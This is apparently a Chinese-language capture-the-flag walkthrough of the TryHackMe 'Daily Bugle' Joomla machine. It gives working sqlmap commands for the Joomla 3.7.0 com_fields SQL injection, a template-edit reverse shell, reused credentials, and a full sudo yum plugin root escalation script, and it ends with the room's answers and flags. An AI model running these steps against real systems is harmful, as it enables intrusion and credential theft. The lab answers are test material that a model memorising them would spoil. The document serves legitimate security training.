THM-Daily Bugle(号角日报)
首先查看网络连通性
侦查
使用Nmap
对靶机进行端口扫描
开放22\SSH、80\Web、3306\Mysql
服务,根据端口开放情况可以看出这应该是一台Web
服务
访问80
端口进行一些初步的信息收集,通过查看主页源代码得到该服务的CMS为Joomla
并没有的到具体的版本号,尝试使用nikto
和whatweb
获取更多的中间件信息
通过robots.txt
文件的到了administrator
的目录
访问/administrator
目录
是一个很熟悉的页面,好像在哪里见过,使用弱密码admin:admin
或者admin:12356
进行登录
并没有登录成功,再次使用Nmap
进行--script=vuln
漏洞扫描,看一看能不能识别到一些漏洞
这里扫描到目标存在Joomla! 3.7.0 'com_fields' SQL Injection Vulnerability
,SQL
注入漏洞
使用searchsploit
找到该漏洞的利用脚本
查看漏洞利用文件中存在SQL注入
的页面,和漏洞利用代码,使用的sqlmap
执行该命令
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
经过漫长的等待sqlmap
跑出了存在的数据库
数据库名 |
---|
information_schema |
joomla |
mysql |
performance_schema |
test |
这里很明显我们需要joomla
数据库的内容,使用--dump
直接全部导出
sqlmap -u "http://10.10.25.116/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla --dump -p list[fullordering]
也是非常的慢,进过也漫长的等待,终于跑出用户名和密码
这里真的非常的慢,不推荐,推荐使用下方的脚本进行利用
在sqlmap
爆破的途中,我搜索了一下Joomla! 3.7.0
有没有其他的漏洞利用脚本
确实有,使用git clone https://github.com/stefanlucas/Exploit-Joomla.git
下载
该脚本也是非常的简单,提供一个靶机服务器的地址就可以了,我们直接运行
python joomblah.py http://10.10.25.116
成功得到用户名和密码,这比sqlmap
快多了
这里我们需要将得到的数据库密码进行破解,首先使用hash-identifier
识别密码类型
并没有识别出来,使用网站https://hashes.com/en/tools/hash_identifier识别密码类型
得到密码应该是bcrypt
类型,并且密码是spiderman123
,这个网站也是强呀
流程该走还是得走,使用john
破解该密码
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt b
获取初始访问权限
使用获得的用户名和密码登录刚刚获得的网站后台/administrator
通过模板这里我们得知,默认使用的是名为protosta
模板
我们查看该模板的内容
可以看到,我们可以修改这些模板的内容,这里我们将index.php
的内容修改为php-reverse-shell.php
的内容,进行反弹shell
注意返回的IP和端口,保存后再本机开启监听
然后访问index.php
,我们会获得一个shell
权限提升
我们初始的权限时apache
,使用一些常见的手法发现可以提权的地方
sudo -l
没有权限
SUID可执行文件
没有可用的命令
Crontab计划任务
没有特殊的计划任务
拥有管理员权限的二进制文件
没有可运行的二进制文件
history查看历史命令
是我们刚刚执行的命令
uname -a
发现3.10.0
的内核版本
查看目标是否安装gcc
并没有安装gcc
命令
查看/etc/passwd
文件
其中存在一个jjameson
的用户可以登录到系统,但是我们并没有密码,尝试寻找一下该用户的密码
/tmp目录
没有内容,我们知道本机是一个Web
服务,那么常见的信息应该都在/var/www/html
目录中,因为Web
后端连接数据库需要数据库的用户名和密码,一定在一个文件中存储,我们尝试获取寻找获取该配置文件
其中有一个名称为configuration.php
的文件,很可疑,config(配置文件)
,通常放着一些用户名密码等信息
查看该文件
我们得到连接该数据库的用户名为root
,其中有两个密码nv5uz9r3ZEDzVjNu
和UAMBRWzHO3oFPmVC
可能这台机器的mysql
数据库root
用户密码和系统root
密码是相同的,尝试使用改密码登录
两个密码都试过后,也没有登录成功,那么我们尝试登录到jjameson
用户
使用密码nv5uz9r3ZEDzVjNu
登录成功
我们的目标是获得root
权限,需要进步提权
sudo -l
我们可以使用sudo
权限执行yum
命令
寻找yum
提权的命令,在https://gtfobins.github.io/gtfobins/yum/找到提权对应脚本
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enableplugin=y
运行该脚本
成功获得root
权限
该靶机的答案
1. Access the web server, who robbed the bank?
spiderman
2. What is the Joomla version?
3.7.0
3. What is Jonah's cracked password?
spiderman123
4. What is the user flag?
27a260fe3cba712cfdedb1c86d80442e
5. What is the root flag?
eec3d53292b1821868266858d7fa6f79